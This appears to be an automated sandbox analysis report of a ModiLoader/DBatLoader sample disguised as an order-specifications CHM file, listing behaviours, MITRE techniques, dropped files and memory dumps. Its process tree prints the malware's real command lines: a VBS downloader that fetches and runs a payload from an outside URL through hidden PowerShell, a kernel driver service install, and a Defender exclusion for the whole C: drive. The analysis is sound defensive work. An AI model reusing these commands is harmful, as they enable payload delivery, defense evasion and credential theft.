Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
20/01/2025, 10:56
General
- Target PO_095709_0485685_MQ1940_Order_Specifications.chm
- Size 75KB
- Sample250120-m1ph4svrhv
- SHA256 5ce8a7ef07cbd67618627078f820dae2c0f9e29a4113e498c7aefd1c39b3ad33
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Modiloader family
- ModiLoader Second Stage 61 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 32 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 24 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Kills process with taskkill 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 56 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\PO_095709_0485685_MQ1940_Order_Specifications.chm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe > nul && echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>C:\\Users\\Public\\aloha.vbs & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd" & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break" & del /q "C:\Users\Public\ript.exe" / A / F / Q / S >nul & del /q "C:\Users\Public\aloha.vbs" / A / F / Q / S >nul & taskkill /F /IM hh.exe & exit2⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\ript.exe"C:\Users\Public\ript.exe" C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd4⤵
- Executes dropped EXE
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\df.cmd" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32 /y "C:\Users\Public\df.cmd" "C:\Users\Admin\AppData\Local\Temp\x.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\x.exe"C:\Users\Admin\AppData\Local\Temp\x.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\JoqtiazeF.cmd" "6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows \SysWOW64\svchost.pif"C:\Windows \SysWOW64\svchost.pif"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\NEO.cmd8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.pif9⤵
-
-
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\sc.exe C:\\Users\\Public\\Upha.pif9⤵
-
-
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\aken.pif9⤵
-
-
C:\Users\Public\alpha.pifC:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\Upha.pif create TrueSight binPath="C:\Windows \SysWOW64\truesight.sys" type= kernel start= auto9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Upha.pifC:\\Users\\Public\\Upha.pif create TrueSight binPath="C:\Windows \SysWOW64\truesight.sys" type= kernel start= auto10⤵
- Executes dropped EXE
-
-
-
C:\Users\Public\alpha.pifC:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\Upha.pif start TrueSight9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Upha.pifC:\\Users\\Public\\Upha.pif start TrueSight10⤵
- Executes dropped EXE
-
-
-
C:\Users\Public\alpha.pifC:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\aken.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\aken.pifC:\\Users\\Public\\aken.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"10⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Users\Public\Libraries\ezaitqoJ.pifC:\Users\Public\Libraries\ezaitqoJ.pif6⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM hh.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\alg.exeC:\Windows\System32\alg.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exeC:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
-
C:\Windows\system32\fxssvc.exeC:\Windows\system32\fxssvc.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\msdtc.exeC:\Windows\System32\msdtc.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
-
\??\c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"1⤵
- Executes dropped EXE
-
C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exeC:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWow64\perfhost.exeC:\Windows\SysWow64\perfhost.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\locator.exeC:\Windows\system32\locator.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\SensorDataService.exeC:\Windows\System32\SensorDataService.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\System32\snmptrap.exeC:\Windows\System32\snmptrap.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\spectrum.exeC:\Windows\system32\spectrum.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\System32\OpenSSH\ssh-agent.exeC:\Windows\System32\OpenSSH\ssh-agent.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s SharedRealitySvc1⤵
-
C:\Windows\system32\TieringEngineService.exeC:\Windows\system32\TieringEngineService.exe1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\AgentService.exeC:\Windows\system32\AgentService.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\SearchIndexer.exeC:\Windows\system32\SearchIndexer.exe /Embedding1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"2⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe" 0 912 916 924 8192 920 8962⤵
- Modifies data under HKEY_USERS
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
elevation_service.exe
maintenanceservice.exe
OSE.EXE
elevation_service.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_e33rzg1f.hbi.ps1
x.exe
Joqtiaze.url
JoqtiazeF.cmd
FX.cmd
Joqtiaze
Joqtiaze.mp3
NEO.cmd
ezaitqoJ.pif
Upha.pif
aken.pif
aloha.vbs
alpha.pif
df.cmd
ript.exe
netutils.dll
svchost.pif
perfhost.exe
AgentService.exe
DiagnosticsHub.StandardCollector.Service.exe
FXSSVC.exe
Locator.exe
ssh-agent.exe
PerceptionSimulationService.exe
SearchIndexer.exe
SensorDataService.exe
Spectrum.exe
TieringEngineService.exe
VSSVC.exe
alg.exe
msdtc.exe
snmptrap.exe
vds.exe
WmiApSrv.exe
wbengine.exe
memory/64-1248-0x0000000140000000-0x0000000140179000-memory.dmp
memory/64-1597-0x0000000140000000-0x0000000140179000-memory.dmp
memory/908-1222-0x0000000000400000-0x000000000051D000-memory.dmp
memory/908-1106-0x0000000000400000-0x000000000051D000-memory.dmp
memory/916-1231-0x0000000140000000-0x0000000140216000-memory.dmp
memory/916-1595-0x0000000140000000-0x0000000140216000-memory.dmp
memory/1656-1210-0x0000000140000000-0x0000000140131000-memory.dmp
memory/1656-1095-0x0000000140000000-0x0000000140131000-memory.dmp
memory/1836-544-0x0000000140000000-0x0000000140130000-memory.dmp
memory/1836-1109-0x0000000140000000-0x0000000140130000-memory.dmp
memory/2288-1418-0x0000000140000000-0x0000000140168000-memory.dmp
memory/2288-1170-0x0000000140000000-0x0000000140168000-memory.dmp
memory/2432-1197-0x0000000140000000-0x0000000140147000-memory.dmp
memory/2432-1539-0x0000000140000000-0x0000000140147000-memory.dmp
memory/2436-109-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-49-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-69-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-67-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-66-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-65-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-59-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-64-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-63-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-62-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-61-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-58-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-57-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-54-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-56-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-113-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-90-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-92-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-93-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-94-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-96-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-97-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-98-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-101-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-87-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-103-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-85-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-83-0x0000000000400000-0x0000000000500000-memory.dmp
memory/2436-84-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-70-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-71-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-68-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-104-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-50-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-106-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-105-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-82-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-53-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-107-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-108-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-81-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-110-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-102-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-79-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-86-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-78-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-77-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-111-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-95-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-112-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-72-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-99-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-73-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-100-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-76-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-88-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-80-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-75-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-55-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-89-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-91-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-74-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2436-60-0x0000000002A20000-0x0000000003A20000-memory.dmp
memory/2720-541-0x0000000026940000-0x0000000026EE4000-memory.dmp
memory/2720-1198-0x0000000027ED0000-0x0000000027F62000-memory.dmp
memory/2720-515-0x0000000000400000-0x0000000000552000-memory.dmp
memory/2720-539-0x00000000245E0000-0x0000000024614000-memory.dmp
memory/2720-542-0x0000000026EF0000-0x0000000026F24000-memory.dmp
memory/2720-1004-0x0000000027240000-0x00000000272DC000-memory.dmp
memory/2720-1424-0x0000000028350000-0x000000002835A000-memory.dmp
memory/2720-1421-0x0000000028170000-0x0000000028332000-memory.dmp
memory/2720-1083-0x0000000000400000-0x0000000000552000-memory.dmp
memory/2720-1208-0x0000000027F70000-0x0000000027FC0000-memory.dmp
memory/2744-1234-0x0000000140000000-0x000000014011B000-memory.dmp
memory/2744-1110-0x0000000140000000-0x000000014011B000-memory.dmp
memory/2984-1596-0x0000000140000000-0x000000014014C000-memory.dmp
memory/2984-1243-0x0000000140000000-0x000000014014C000-memory.dmp
memory/3480-1573-0x0000000140000000-0x00000001401D7000-memory.dmp
memory/3480-1247-0x0000000140000000-0x00000001401D7000-memory.dmp
memory/3480-1122-0x0000000140000000-0x00000001401D7000-memory.dmp
memory/4360-19-0x00000234B90E0000-0x00000234B9102000-memory.dmp
memory/4552-1194-0x0000000140000000-0x00000001401C0000-memory.dmp
memory/4552-1182-0x0000000140000000-0x00000001401C0000-memory.dmp
memory/4808-1092-0x0000000140000000-0x0000000140155000-memory.dmp
memory/4808-1196-0x0000000140000000-0x0000000140155000-memory.dmp
memory/4984-1159-0x0000000140000000-0x0000000140188000-memory.dmp
memory/4984-1387-0x0000000140000000-0x0000000140188000-memory.dmp
memory/5024-1211-0x0000000140000000-0x00000001401FC000-memory.dmp
memory/5024-1570-0x0000000140000000-0x00000001401FC000-memory.dmp
memory/5208-1134-0x0000000140000000-0x000000014011C000-memory.dmp
memory/5208-1322-0x0000000140000000-0x000000014011C000-memory.dmp
memory/5424-1146-0x0000000140000000-0x0000000140169000-memory.dmp
memory/5424-1354-0x0000000140000000-0x0000000140169000-memory.dmp
memory/5480-1014-0x0000000140000000-0x000000014012F000-memory.dmp
memory/5480-1121-0x0000000140000000-0x000000014012F000-memory.dmp
memory/5628-1028-0x0000000140000000-0x0000000140135000-memory.dmp
memory/5628-1017-0x0000000140000000-0x0000000140135000-memory.dmp
memory/5796-1031-0x0000000140000000-0x0000000140234000-memory.dmp
memory/5796-1145-0x0000000140000000-0x0000000140234000-memory.dmp
memory/5884-1048-0x0000000140000000-0x000000014022B000-memory.dmp
memory/5884-1158-0x0000000140000000-0x000000014022B000-memory.dmp
memory/5988-1053-0x0000000140000000-0x0000000140155000-memory.dmp
memory/5988-1066-0x0000000140000000-0x0000000140155000-memory.dmp
memory/6084-1068-0x0000000140000000-0x000000014013F000-memory.dmp
memory/6084-1181-0x0000000140000000-0x000000014013F000-memory.dmp